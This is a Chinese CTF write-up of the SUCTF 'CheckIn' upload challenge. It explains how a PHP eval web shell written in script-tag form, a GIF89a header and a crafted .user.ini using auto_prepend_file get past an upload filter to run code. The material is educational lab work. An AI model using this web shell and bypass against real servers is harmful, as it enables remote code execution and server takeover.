SUctf checkIn

看了道上传的关于.user.ini的题目,这里试着做一下

题目地址
buuctf checkln
打开题目,出现了简单的上传框
SUctf checkIn_第1张图片
试着上传php文件
SUctf checkIn_第2张图片
更改名称为phps,php3,php4,php5,Php,pphphp,都上传失败.

试试改为jpg
SUctf checkIn_第3张图片
发现它对<?内容进行了检验。
我们可以构造这种形式的木马

<script language="php">
	@eval($_POST['a']);
</script>

上传

仍然有问题,还对类型进行了限制,那么我们添加文件头,例如GIF89a
SUctf checkIn_第4张图片
发现上传成功,但是并不能成功的解析。

.user.ini
这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。 在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:
SUctf checkIn_第5张图片
其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置、注册表中设置,再就是.user.ini中设置。 这里就提到了.user.ini,那么这是个什么配置文件?那么官方文档在这里又解释了:

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

而且,和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):
SUctf checkIn_第6张图片
auto_append_file、auto_prepend_file,点开看看什么意思:

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=aa.jpg

回到本题目
我们发现了存在的index.php,试着上传.user.ini让它在执行index.php之前,执行我们上传的后门。

.user.ini

GIF89a
auto_prepend_file=aa.jpg

上传成功。

aa.jpg

GIF89a

上传成功
SUctf checkIn_第7张图片
访问
http://7de73457-76eb-4a8b-a97d-ce749dff2b71.node2.buuoj.cn.wetolink.com:82/index.phpuploads/f4e7685fe689f675c85caeefaedcf40c/index.php
得到flag

也可以写入木马,用蚁剑连接
SUctf checkIn_第8张图片
参考链接
https://xz.aliyun.com/t/6091

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

https://blog.csdn.net/weixin_42499640/article/details/99764087

你可能感兴趣的:(web)